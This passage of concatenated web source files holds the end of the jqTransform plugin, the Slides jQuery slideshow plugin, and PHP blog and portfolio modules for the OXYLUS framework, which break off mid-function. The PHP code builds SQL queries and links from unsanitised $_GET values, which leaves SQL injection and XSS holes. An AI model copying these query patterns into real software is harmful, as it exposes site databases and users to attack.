sel.selectedIndex = item.attr('index'); $select.change(); e.preventDefault(); }); }); $select.change(function() { items.each(function() { var item = $(this); if (item.attr('index') == sel.selectedIndex) { item.addClass('selected'); $('span:eq(0)', $wrapper).html(item.html()); $ul.hide(); } else { item.removeClass('selected'); } }); }); })(); /* Set the default */ $('a:eq('+ this.selectedIndex +')', $ul).click(); $('span:first', $wrapper).click(function(){$("a.jqTransformSelectOpen",$wrapper).trigger('click');}); oLabel && oLabel.click(function(){$("a.jqTransformSelectOpen",$wrapper).trigger('click');}); this.oLabel = oLabel; /* Apply the click handler to the Open */ var oLinkOpen = $('a.jqTransformSelectOpen', $wrapper) .click(function(){ //Check if box is already open to still allow toggle, but close all other selects if( $ul.css('display') == 'none' ) {jqTransformHideSelect();} if($select.attr('disabled')){return false;} $ul.slideToggle('fast', function(){ var offSet = ($('a.selected', $ul).offset().top - $ul.offset().top); $ul.animate({scrollTop: offSet}); }); return false; }) ; // Set the new width var iSelectWidth = $select.outerWidth() + 8; var oSpan = $('span:first',$wrapper); var newWidth = iSelectWidth//(iSelectWidth > oSpan.innerWidth())?iSelectWidth+oLinkOpen.outerWidth():$wrapper.width(); $wrapper.css('width',newWidth); $ul.css('width',newWidth-2); oSpan.css({width:iSelectWidth}); // Calculate the height if necessary, less elements that the default height //show the ul to calculate the block, if ul is not displayed li height value is 0 $ul.css({display:'block',visibility:'hidden'}); var iSelectHeight = ($('li',$ul).length)*($('li:first',$ul).height());//+1 else bug ff (iSelectHeight < $ul.height()) && $ul.css({height:iSelectHeight,'overflow':'hidden'});//hidden else bug with ff $ul.css({display:'none',visibility:'visible'}); }); }; $.fn.jqTransform = function(options){ var opt = $.extend({},defaultOptions,options); /* each form */ return this.each(function(){ var selfForm = $(this); if(selfForm.hasClass('jqtransformdone')) {return;} selfForm.addClass('jqtransformdone'); //$('input:submit, input:reset, input[type="button"]', this).jqTransInputButton(); //$('input:text, input:password', this).jqTransInputText(); $('input:checkbox', this).jqTransCheckBox(); $('input:radio', this).jqTransRadio(); //$('textarea', this).jqTransTextarea(); if( $('select', this).jqTransSelect().length > 0 ){jqTransformAddDocumentListener();} selfForm.bind('reset',function(){var action = function(){jqTransformReset(this);}; window.setTimeout(action, 10);}); //preloading dont needed anymore since normal, focus and hover image are the same one /*if(opt.preloadImg && !jqTransformImgPreloaded){ jqTransformImgPreloaded = true; var oInputText = $('input:text:first', selfForm); if(oInputText.length > 0){ //pour ie on eleve les "" var strWrapperImgUrl = oInputText.get(0).wrapper.css('background-image'); jqTransformPreloadHoverFocusImg(strWrapperImgUrl); var strInnerImgUrl = $('div.jqTransformInputInner',$(oInputText.get(0).wrapper)).css('background-image'); jqTransformPreloadHoverFocusImg(strInnerImgUrl); } var oTextarea = $('textarea',selfForm); if(oTextarea.length > 0){ var oTable = oTextarea.get(0).oTable; $('td',oTable).each(function(){ var strImgBack = $(this).css('background-image'); jqTransformPreloadHoverFocusImg(strImgBack); }); } }*/ }); /* End Form each */ };/* End the Plugin */ })(jQuery); /* * Slides, A Slideshow Plugin for jQuery * Intructions: http://slidesjs.com * By: Nathan Searles, http://nathansearles.com * Version: 1.1.9 * Updated: September 5th, 2011 * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ (function($){ $.fn.slides = function( option ) { // override defaults with specified option option = $.extend( {}, $.fn.slides.option, option ); return this.each(function(){ // wrap slides in control container, make sure slides are block level $('.' + option.container, $(this)).children().wrapAll('<div class="slides_control"/>'); var elem = $(this), control = $('.slides_control',elem), total = control.children().size(), optional_text_box = control.children().find('.optional'), width = control.children().outerWidth(), height = control.children().outerHeight(), start = option.start - 1, effect = option.effect.indexOf(',') < 0 ? option.effect : option.effect.replace(' ', '').split(',')[0], paginationEffect = option.effect.indexOf(',') < 0 ? effect : option.effect.replace(' ', '').split(',')[1], next = 0, prev = 0, number = 0, current = 0, loaded, active, clicked, position, direction, imageParent, pauseTimeout, playInterval,play_temp=0,pause_temp=0; // is there only one slide? if (total < 2) { // Fade in .slides_container $('.' + option.container, $(this)).fadeIn(option.fadeSpeed, option.fadeEasing, function(){ // let the script know everything is loaded loaded = true; // call the loaded funciton option.slidesLoaded(); }); // Hide the next/previous buttons $('.' + option.next + ', .' + option.prev).fadeOut(0); return false; } // animate slides function animate(direction, effect, clicked) { if (!active && loaded) { active = true; // start of animation option.animationStart(current + 1); switch(direction) { case 'next': // change current slide to previous prev = current; // get next from current + 1 next = current + 1; // if last slide, set next to first slide next = total === next ? 0 : next; // set position of next slide to right of previous position = width*2; // distance to slide based on width of slides direction = -width*2; // store new current slide current = next; break; case 'prev': // change current slide to previous prev = current; // get next from current - 1 next = current - 1; // if first slide, set next to last slide next = next === -1 ? total-1 : next; // set position of next slide to left of previous position = 0; // distance to slide based on width of slides direction = 0; // store new current slide current = next; break; case 'pagination': // get next from pagination item clicked, convert to number next = parseInt(clicked,10); // get previous from pagination item with class of current prev = $('.' + option.paginationClass + ' li.'+ option.currentClass +' a', elem).attr('href').match('[^#/]+$'); // if next is greater then previous set position of next slide to right of previous if (next > prev) { position = width*2; direction = -width*2; } else { // if next is less then previous set position of next slide to left of previous position = 0; direction = 0; } // store new current slide current = next; break; } // fade animation if (effect === 'fade') { // fade animation with crossfade if (option.crossfade) { // put hidden next above current control.children(':eq('+ next +')', elem).css({ zIndex: 10 // fade in next }).fadeIn(option.fadeSpeed, option.fadeEasing, function(){ if (option.autoHeight) { // animate container to height of next control.animate({ height: control.children(':eq('+ next +')', elem).outerHeight() }, option.autoHeightSpeed, function(){ // hide previous control.children(':eq('+ prev +')', elem).css({ display: 'none', zIndex: 0 }); // reset z index control.children(':eq('+ next +')', elem).css({ zIndex: 0 }); // end of animation option.animationComplete(next + 1); active = false; }); } else { // hide previous control.children(':eq('+ prev +')', elem).css({ display: 'none', zIndex: 0 }); // reset zindex control.children(':eq('+ next +')', elem).css({ zIndex: 0 }); // end of animation option.animationComplete(next + 1); active = false; } }); } else { // fade animation with no crossfade control.children(':eq('+ prev +')', elem).fadeOut(option.fadeSpeed, option.fadeEasing, function(){ // animate to new height if (option.autoHeight) { control.animate({ // animate container to height of next height: control.children(':eq('+ next +')', elem).outerHeight() }, option.autoHeightSpeed, // fade in next slide function(){ control.children(':eq('+ next +')', elem).fadeIn(option.fadeSpeed, option.fadeEasing); }); } else { // if fixed height control.children(':eq('+ next +')', elem).fadeIn(option.fadeSpeed, option.fadeEasing, function(){ // fix font rendering in ie, lame if($.browser.msie) { $(this).get(0).style.removeAttribute('filter'); } }); } // end of animation option.animationComplete(next + 1); active = false; }); } // slide animation } else { // move next slide to right of previous control.children(':eq('+ next +')').css({ left: position, display: 'block' }); // animate to new height if (option.autoHeight) { control.animate({ left: direction, height: control.children(':eq('+ next +')').outerHeight() },option.slideSpeed, option.slideEasing, function(){ control.css({ left: -width }); control.children(':eq('+ next +')').css({ left: width, zIndex: 5 }); // reset previous slide control.children(':eq('+ prev +')').css({ left: width, display: 'none', zIndex: 0 }); if(control.children(':eq('+ prev +')').hasClass('video')){ var temp=control.children(':eq('+ prev +')').html(); control.children(':eq('+ prev +')').html(temp); } // end of animation option.animationComplete(next + 1); active = false; }); // if fixed height } else { // animate control control.animate({ left: direction },option.slideSpeed, option.slideEasing, function(){ // after animation reset control position control.css({ left: -width }); // reset and show next control.children(':eq('+ next +')').css({ left: width, zIndex: 5 }); // reset previous slide control.children(':eq('+ prev +')').css({ left: width, display: 'none', zIndex: 0 }); if(control.children(':eq('+ prev +')').hasClass('video')){ var temp=control.children(':eq('+ prev +')').html(); control.children(':eq('+ prev +')').html(temp); } // end of animation option.animationComplete(next + 1); active = false; }); } } // set current state for pagination if (option.pagination) { // remove current class from all $('.'+ option.paginationClass +' li.' + option.currentClass, elem).removeClass(option.currentClass); // add current class to next $('.' + option.paginationClass + ' li:eq('+ next +')', elem).addClass(option.currentClass); } } } // end animate function function stop() { // clear interval from stored id clearInterval(elem.data('interval')); } function pause() { if (option.pause) { // clear timeout and interval clearTimeout(elem.data('pause')); clearInterval(elem.data('interval')); // pause slide show for option.pause amount pauseTimeout = setTimeout(function() { // clear pause timeout clearTimeout(elem.data('pause')); // start play interval after pause playInterval = setInterval( function(){ animate("next", effect); },option.play); // store play interval elem.data('interval',playInterval); },option.pause); // store pause interval elem.data('pause',pauseTimeout); } else { // if no pause, just stop stop(); } } // 2 or more slides required if (total < 2) { return; } // error corection for start slide if (start < 0) { start = 0; } if (start > total) { start = total - 1; } // change current based on start option number if (option.start) { current = start; } // randomizes slide order if (option.randomize) { control.randomize(); } // make sure overflow is hidden, width is set $('.' + option.container, elem).css({ overflow: 'hidden', // fix for ie position: 'relative' }); // set css for slides control.children().css({ position: 'absolute', top: 0, left: control.children().outerWidth(), zIndex: 0, display: 'none' }); // set css for control div control.css({ position: 'relative', // size of control 3 x slide width width: (width * 3), // set height to slide height height: height, // center control to slide left: -width }); // show slides $('.' + option.container, elem).css({ display: 'block' }); // if autoHeight true, get and set height of first slide if (option.autoHeight) { control.children().css({ height: 'auto' }); control.animate({ height: control.children(':eq('+ start +')').outerHeight() },option.autoHeightSpeed); } // checks if image is loaded if (option.preload && control.find('img:eq(' + start + ')').length) { // adds preload image $('.' + option.container, elem).css({ background: 'url(' + option.preloadImage + ') no-repeat 50% 50%' }); // gets image src, with cache buster var img = control.find('img:eq(' + start + ')').attr('src') + '?' + (new Date()).getTime(); // check if the image has a parent if ($('img', elem).parent().attr('class') != 'slides_control') { // If image has parent, get tag name imageParent = control.children(':eq(0)')[0].tagName.toLowerCase(); } else { // Image doesn't have parent, use image tag name imageParent = control.find('img:eq(' + start + ')'); } // checks if image is loaded control.find('img:eq(' + start + ')').attr('src', img).load(function() { // once image is fully loaded, fade in control.find(imageParent + ':eq(' + start + ')').fadeIn(option.fadeSpeed, option.fadeEasing, function(){ $(this).css({ zIndex: 5 }); // removes preload image $('.' + option.container, elem).css({ background: '' }); // let the script know everything is loaded loaded = true; // call the loaded funciton option.slidesLoaded(); }); }); } else { // if no preloader fade in start slide control.children(':eq(' + start + ')').fadeIn(option.fadeSpeed, option.fadeEasing, function(){ // let the script know everything is loaded loaded = true; // call the loaded funciton option.slidesLoaded(); }); } // click slide for next if (option.bigTarget) { // set cursor to pointer control.children().css({ cursor: 'pointer' }); // click handler control.children().click(function(){ // animate to next on slide click animate('next', effect); return false; }); } // pause on mouseover if (option.hoverPause && option.play) { control.bind('mouseover',function(){ // on mouse over stop stop(); }); control.bind('mouseleave',function(){ // on mouse leave start pause timeout pause(); }); } // generate next/prev buttons if (option.generateNextPrev) { $('.' + option.container, elem).after('<a href="#" class="'+ option.prev +'">Prev</a>'); $('.' + option.prev, elem).after('<a href="#" class="'+ option.next +'">Next</a>'); } if (option.generatePlayStop) { $('.' + option.container, elem).after('<a href="#" class="playstop play">Play</a>'); $('.' + option.container, elem).after('<a href="#" class="playstop stop">Stop</a>'); } // next button $('.' + option.next ,elem).click(function(e){ e.preventDefault(); if (option.play) { pause(); } animate('next', effect); }); // previous button $('.' + option.prev, elem).click(function(e){ e.preventDefault(); if (option.play) { pause(); } animate('prev', effect); }); // PLAy button $('.' + option.playbtn, elem).click(function(e){ e.preventDefault(); $('.' + option.playbtn).hide(); $('.' + option.stopbtn).show(); option.play=play_temp; option.pause=pause_temp; pause(); }); // STOP button $('.' + option.stopbtn, elem).click(function(e){ e.preventDefault(); $('.' + option.stopbtn).hide(); $('.' + option.playbtn).show(); option.play=0; option.pause=0; stop(); }); // generate pagination if (option.generatePagination) { // create unordered list if (option.prependPagination) { elem.prepend('<ul class='+ option.paginationClass +'></ul>'); } else { elem.append('<ul class='+ option.paginationClass +'></ul>'); } // for each slide create a list item and link control.children().each(function(){ $('.' + option.paginationClass, elem).append('<li><a href="#'+ number +'">'+ (number+1) +'</a></li>'); number++; }); } else { // if pagination exists, add href w/ value of item number to links $('.' + option.paginationClass + ' li a', elem).each(function(){ $(this).attr('href', '#' + number); number++; }); } // add current class to start slide pagination $('.' + option.paginationClass + ' li:eq('+ start +')', elem).addClass(option.currentClass); // click handling $('.' + option.paginationClass + ' li a', elem ).click(function(){ // pause slideshow if (option.play) { pause(); } // get clicked, pass to animate function clicked = $(this).attr('href').match('[^#/]+$'); // if current slide equals clicked, don't do anything if (current != clicked) { animate('pagination', paginationEffect, clicked); } return false; }); // click handling $('a.link', elem).click(function(){ // pause slideshow if (option.play) { pause(); } // get clicked, pass to animate function clicked = $(this).attr('href').match('[^#/]+$') - 1; // if current slide equals clicked, don't do anything if (current != clicked) { animate('pagination', paginationEffect, clicked); } return false; }); if (option.play) { $('.' + option.playbtn).hide(); // set interval playInterval = setInterval(function() { animate('next', effect); }, option.play); // store interval id elem.data('interval',playInterval); play_temp=option.play; pause_temp=option.pause; }else{ $('.' + option.stopbtn).hide(); } if (optional_text_box.length){ optional_text_box.each(function(){ var t=$(this), t_w=$(this).attr('data-width'), t_h=$(this).height(); t_h_parent=$(this).parent().height()-$(this).parent().find('.caption').height()-30; t_w_parent=$(this).parent().width()-21; t.css('width',t_w); if (t.hasClass('pvertmiddle')){ var temp=Math.floor((t_h_parent-t_h)/2); t.css({'top':temp}); } if (t.hasClass('phorizmiddle')){ var temp=Math.floor((t_w_parent-t_w)/2); t.css({'left':temp}); } }) } }); }; // default options $.fn.slides.option = { preload: false, // boolean, Set true to preload images in an image based slideshow preloadImage: '/img/loading.gif', // string, Name and location of loading image for preloader. Default is "/img/loading.gif" container: 'slides_container', // string, Class name for slides container. Default is "slides_container" generateNextPrev: true, // boolean, Auto generate next/prev buttons next: 'next', // string, Class name for next button prev: 'prev', // string, Class name for previous button generatePlayStop: true, // boolean, Auto generate next/prev buttons playbtn: 'play', // string, Class name for next button stopbtn: 'stop', // string, Class name for previous button pagination: true, // boolean, If you're not using pagination you can set to false, but don't have to generatePagination: true, // boolean, Auto generate pagination prependPagination: true, // boolean, prepend pagination paginationClass: 'pagination', // string, Class name for pagination currentClass: 'current', // string, Class name for current class fadeSpeed: 350, // number, Set the speed of the fading animation in milliseconds fadeEasing: '', // string, must load jQuery's easing plugin before http://gsgd.co.uk/sandbox/jquery/easing/ slideSpeed: 350, // number, Set the speed of the sliding animation in milliseconds slideEasing: '', // string, must load jQuery's easing plugin before http://gsgd.co.uk/sandbox/jquery/easing/ start: 1, // number, Set the speed of the sliding animation in milliseconds effect: 'slide', // string, '[next/prev], [pagination]', e.g. 'slide, fade' or simply 'fade' for both crossfade: false, // boolean, Crossfade images in a image based slideshow randomize: false, // boolean, Set to true to randomize slides play: 0, // number, Autoplay slideshow, a positive number will set to true and be the time between slide animation in milliseconds pause: 0, // number, Pause slideshow on click of next/prev or pagination. A positive number will set to true and be the time of pause in milliseconds hoverPause: false, // boolean, Set to true and hovering over slideshow will pause it autoHeight: false, // boolean, Set to true to auto adjust height autoHeightSpeed: 350, // number, Set auto height animation time in milliseconds bigTarget: false, // boolean, Set to true and the whole slide will link to next slide on click animationStart: function(){}, // Function called at the start of animation animationComplete: function(){}, // Function called at the completion of animation slidesLoaded: function() {} // Function is called when slides is fully loaded }; // Randomize slide order on load $.fn.randomize = function(callback) { function randomizeOrder() { return(Math.round(Math.random())-0.5); } return($(this).each(function() { var $this = $(this); var $children = $this.children(); var childCount = $children.length; if (childCount > 1) { $children.hide(); var indices = []; for (i=0;i<childCount;i++) { indices[indices.length] = i; } indices = indices.sort(randomizeOrder); $.each(indices,function(j,k) { var $child = $children.eq(k); var $clone = $child.clone(true); $clone.show().appendTo($this); if (callback !== undefined) { callback($child, $clone); } $child.remove(); }); } })); }; })(jQuery);``` site.blog.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallBlog extends CPlugin{ var $tplvars; function COXYMallblog() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if (strstr($_GET["sub"] , "oxymall.plugin.blog.")) { $sub = str_replace("oxymall.plugin.blog." , "" ,$_GET["sub"]); $action = $_GET["action"]; $this->__init(); $this->tpl_module = $this->module->plugins["modules"]->LoadModuleInfo(); switch ($sub) { case "tag": case "search": case "landing": return $this->Search(); break; case "item": return $this->Details(); break; case "publisher": return $this->Publisher(); break; } } } function __init() { global $_CONF; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "listing" => "listing.htm", "details" => "details.htm", "publisher" => "publisher.htm", "tags" => "tags.htm", "form" => "form.htm", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } } function Search() { global $base; $cats = $this->GetCategories(); if ($_GET["cat"]) { foreach ($cats as $key => $val) { if ($val["cat_url"] == $_GET["cat"]) { $cat = $val; } } } switch ($_GET["search"]) { case "tag": $items = $this->GetRecords( array( "item_tags" => $_GET["tag"] ) ); $title = urldecode($_GET["tag"]); $links = array( "first" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/search/tag/{$_GET[tag]}/"), "all" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/search/tag/{$_GET[tag]}/{PAGE}/") , ); break; case "all": $items = $this->GetRecords(); $title = $cats["all"]["cat_title"]; $links = array( "first" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/"), "all" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/{PAGE}/") , ); break; case "category": $items = $this->GetRecords( array( "item_cat" => $cat["cat_id"] ) ); $title = $cat["cat_title"]; $links = array( "first" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/{$cat[cat_url]}/"), "all" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/{$cat[cat_url]}/{PAGE}/") , ); break; case "search": $items = $this->GetRecords( array( "item_title" => $_GET["q"] ) ); $title = urldecode($_GET["q"]); $links = array( "first" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/search/?q={$_GET[q]}"), "all" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/search/?q={$_GET[q]}&page={PAGE}") , ); break; } $items = $this->GetRecords( array( "item_tags" => $_GET["tag"] ) ); $items["records"] = $this->ProcessRecords($items["records"]); //process the seo $this->module->plugins["modules"]->SetSeo($this->tpl_module); $return = $this->private->templates["listing"]->BlockReplace( "Main", array( "search_form" => $this->SearchForm($_GET), "categories" => $this->module->plugins["common"]->Categories( $this->ProcessCats($cats), "", $this->tpl_module["settings"]["set_categories_type"] ), "items" => $base->html->Table( $this->private->templates["listing"], "Items", $items["records"] ), "paging"=> $this->module->plugins["paging"]->Paging( $items["pages"] , $items["page"], $links , array( "ipp" => $items["ipp"], "total" => $items["count"] ) ), "cat_title" => $title ) ); return $this->texts( $return ); } function ProcessCats($cats) { if (is_Array($cats)) { //if i have just one category do not show a thing if (count($cats) == 1) { return ""; } foreach ($cats as $key => $val) { if (!$val["link"]) $cats[$key]["link"] =$this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . ($val["cat_url"] ? $val["cat_url"] . "/" : "")); } } //debug($cats,1); return $cats; } /** * description * * @param * * @return * * @access */ function ProcessRecords($items) { if (is_array($items)) { foreach ($items as $key => $val) { $items[$key]["item_date"] = date($this->tpl_module["settings"]["set_date_format"] , $val["item_date"]); switch ($_GET["back"]) { case "all": $items[$key]["details_link"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/{$val[item_url]}-{$val[item_id]}/" ); break; case "cat": $items[$key]["details_link"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . $_GET["cat"] . "/{$val[item_url]}-{$val[item_id]}/"); break; case "author": $items[$key]["details_link"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/publishers/" . $_GET["user"] . "/{$val[item_url]}-{$val[item_id]}/"); break; } $items[$key]["author_link"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/publishers/{$val[author_url]}/"); $items[$key]["tags"] = $this->TopicTags($val); } return $items; } } function GetCategories() { $cats = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:blog_cats']} WHERE module_id={$this->tpl_module[mod_id]} ORDER BY cat_order" ); $_cats = array( "all" => array( "cat_url" => "", "cat_title" => $this->tpl_module["settings"]["set_label_title"], ) ); if (is_array($cats)) { foreach ($cats as $key => $val) { $_cats[] = $val; } } return $_cats; } function Details() { global $_CONF; $record = $this->GetRecord($_GET["item"]); if (!is_array($record["current"])) { $this->module->plugins["common"]->Redirect404(); } $this->module->plugins["modules"]->SetSeo($record["current"]); $this->module->plugins["modules"]->SetSeo($this->tpl_module); $record["current"]["comments"] = $this->module->plugins["comments"]->Comments( $this->tpl_module["mod_url"] . "/" . $record["current"]["item_url"] . "-" . $record["current"]["item_id"] . "/", $this->tpl_module["settings"]["set_fbcomments"] ); //prere the back link switch ($_GET["back"]) { case "all": $record["current"]["back_link"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" ); break; case "cat": $record["current"]["back_link"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . $_GET["cat"] . "/"); break; case "author": $record["current"]["back_link"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/publishers/" . $_GET["user"] . "/"); break; } //process date $record["current"]["item_date"] = date($this->tpl_module["settings"]["set_date_format"] , $record["current"]["item_date"]); //author link $record["current"]["author_link"] = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/publishers/{$record[current][author_url]}/"); $record["current"]["tags"] = $this->TopicTags($record["current"]); return CTemplateStatic::ReplacE( $this->private->templates["details"]->blockReplace( "Details", $record["current"] ), array_merge( $this->tpl_module, $this->tpl_module["settings"] ) ); } /** * description * * @param * * @return * * @access */ function GetRecord($id) { $item = $this->db->QFetchArray( "SELECT * FROM {$this->tables['plugin:blog_authors']}, {$this->tables['plugin:blog_items']} as i WHERE i.module_id={$this->tpl_module[mod_id]} AND author_id=item_author AND item_id={$id}" ); if (!is_array($item)) { return false; } return array( "prev" => $prev, "next" => $next, "current" => $item, ); } function GetRecords($query = array()) { $sort = array( "t" => "item_title", "d" => "item_date", "a" => "author_name", ); $order_t = array( "a" => "ASC", "d" => "DESC" ); if (!$sort[$_GET["s"]]) { $default_sort = "d"; } else { $default_sort = $_GET["s"]; } if ($_GET["o"] == "a") { $default_order = "a"; } else { $default_order = "d"; } $order = $sort[$default_sort]; $order_mode = $order_t[$default_order]; $count = $this->tpl_module["settings"]["set_items"]; $page = $_GET["page"]; if ($query["item_title"]) { $tmp = explode(" " , $query["item_title"]); foreach ($tmp as $key => $val) { $title_search .= " +" . trim($val); } } $search = array( "item_title" => " MATCH (item_title) AGAINST ('{$title_search}' IN BOOLEAN MODE) ", "item_tags" => " MATCH (item_tags) AGAINST ('+{$query[item_tags]}' IN BOOLEAN MODE) ", "item_cat" => " find_in_set({$query[item_cat]} , item_cat) ", "item_author" => " item_author={$query[item_author]} ", ); if (count($query)) { foreach ($search as $key => $val) { if (!$query[$key]) { unset($search[$key]); } } if (count($search)) { $cond = " AND " . implode(" AND " , $search ); } } $item_count = $this->db->RowCount( $this->tables['plugin:blog_items'], "WHERE module_id={$this->tpl_module[mod_id]} {$cond}" ); $page = $_GET["page"]; if (!$page && $item_count) { $page = 1; } else $page = (int)$page; $items = $this->db->QFetchRowArray( "SELECT * " . "FROM {$this->tables['plugin:blog_items']} as b , {$this->tables['plugin:blog_authors']} " . "WHERE b.module_id={$this->tpl_module[mod_id]} AND author_id=item_author {$cond}" . "ORDER BY {$order} {$order_mode} " . "LIMIT " . ( max(0,($page - 1 ) * $count )) . " , " . $count ); return array( "records" => $items, "count" => $item_count , "pages" => $item_count ? ceil($item_count / $count) : 1, "page" => $page, "ipp" => $count ); } function GetAllLinks($module , $links) { } /** * description * * @param * * @return * * @access */ function Publisher() { global $base; $author = $this->db->QFetchArray( "SELECT * FROM {$this->tables['plugin:blog_authors']} WHERE author_url=\"{$_GET[user]}\"" ); if (!is_array($author)) { $this->module->plugins["common"]->Redirect404(); } $template = &$this->private->templates["publisher"]; $items = $this->GetRecords( array( "item_author" => $author["author_id"] ) ); $items["records"] = $this->ProcessRecords($items["records"]); $return = CTemplateStatic::Replace( $template->blockReplace( "Main" , array( "search_form" => $this->SearchForm($_GET), "bio" => $author["author_bio"] ? $template->blockReplace( "Bio", $author ) : "", "image" => $author["author_avatar"] ? $template->blockReplace( "Avatar", $author ) : "", "topics" => $base->html->Table( $this->private->templates["listing"], "Items", $items["records"] ), "paging"=> $this->module->plugins["paging"]->Paging( $items["pages"] , $items["page"], array( "first" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/publishers/{$author[author_url]}/"), "all" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/publishers/{$author[author_url]}/{PAGE}/") ), array( "ipp" => $items["ipp"], "total" => $items["count"] ) ), "back" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/"), ) ), $author ); return $this->Texts( $return ); } /** * description * * @param * * @return * * @access */ function Texts($content) { return CTemplateStatic::Replace( $content , $this->tpl_module["settings"] ); } /** * description * * @param * * @return * * @access */ function TopicTags($topic) { if (!$topic["item_tags"]) { return ""; } $tags = explode("," , $topic["item_tags"]); if (!count($tags)) { return ""; } foreach ($tags as $key => $val) { if (trim($val)) { $_tags[] = array( "link" => $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/search/tag/" . trim($val)), "title" => trim($val), "class" => trim($val) == urldecode($_GET["tag"]) ? "selected" : "", ); } } if (!count($tags)) { return ""; } global $base; return $base->html->table( $this->private->templates["tags"], "", $_tags ); } function SearchForm($vars) { global $base; $sort = array( "t" => $this->tpl_module["settings"]["set_filter_name"], "d" => $this->tpl_module["settings"]["set_filter_date"], "a" => $this->tpl_module["settings"]["set_filter_author"], ); $order = array( "" ); if (!$sort[$_GET["s"]]) { $default_sort = "d"; } else { $default_sort = $_GET["s"]; } if ($_GET["o"] == "a") { $default_order = "a"; } else { $default_order = "d"; } switch ($_GET["search"]) { case "all": $base_url = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/?" ); break; case "tag": $base_url = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/search/tag/" . $_GET["tag"] . "/?"); break; case "search": $base_url = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/search/?q=" . $_GET["q"] . "&" ); break; case "category": $base_url = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/" . $_GET["cat"] . "/?"); break; case "author": $base_url = $this->module->plugins["modules"]->PrepareLink($this->tpl_module["mod_url"] . "/publishers/" . $_GET["user"] . "/?"); break; } foreach ($sort as $key => $val) { $_sort[] = array( "class" => $key == $default_sort ? "selected" : "", "title" => $val, "link" => $base_url . "s={$key}" , ); } $_order = array( array( "class" => $default_order == "a" ? "selected" : "", "title" => $this->tpl_module["settings"]["set_filter_asc"], "link" => $base_url . "s={$default_sort}&o=a" , ), array( "class" => $default_order == "d" ? "selected" : "", "title" => $this->tpl_module["settings"]["set_filter_desc"], "link" => $base_url . "s={$default_sort}&o=d" , ) ); return $this->private->templates["form"]->blockreplace( "Main", array( "sort" => $base->html->Table( $this->private->templates["form"], "Fields", $_sort ), "order" => $base->html->Table( $this->private->templates["form"], "Fields", $_order ), "link" => $this->module->plugins["modules"]->PrepareLink( $this->tpl_module["mod_url"] ."/search/" ), "search" => $_GET["q"] ? $_GET["q"] : $this->tpl_module["settings"]["set_filter_search"], ) ); } } ?>``` site.portfolio.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallPortfolio extends CPlugin{ var $tplvars; function COXYMallPortfolio() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if (strstr($_GET["sub"] , "oxymall.plugin.portfolio.")) { $sub = str_replace("oxymall.plugin.portfolio." , "" ,$_GET["sub"]); $action = $_GET["action"]; $this->__init(); $this->tpl_module = $this->module->plugins["modules"]->LoadModuleInfo(); switch ($sub) { case "landing": return $this->Listing(); break; case "details": return $this->Details(); break; } } } function __init() { global $_CONF; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "landing" => "landing.htm", "details" => "details.htm", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } } function Listing() { global $base , $_CONF; $classes = array( "3" => "three-cols", "4" => "four-cols", ); $cats = $this->GetCategories(); //detect the first cat if (!$_GET["cat"]) { $cat = $cats[0]; $_GET["cat"] = $cat["cat_url"]; } else { foreach ($cats as $key => $val) { if ($val["cat_url"] == $_GET["cat"]) { $cat = $val; } } } if (!is_array($cat)) { return ""; } $cats = $this->ProcessCats($cats); $items = $this->GetRecords($cat); //process the seo 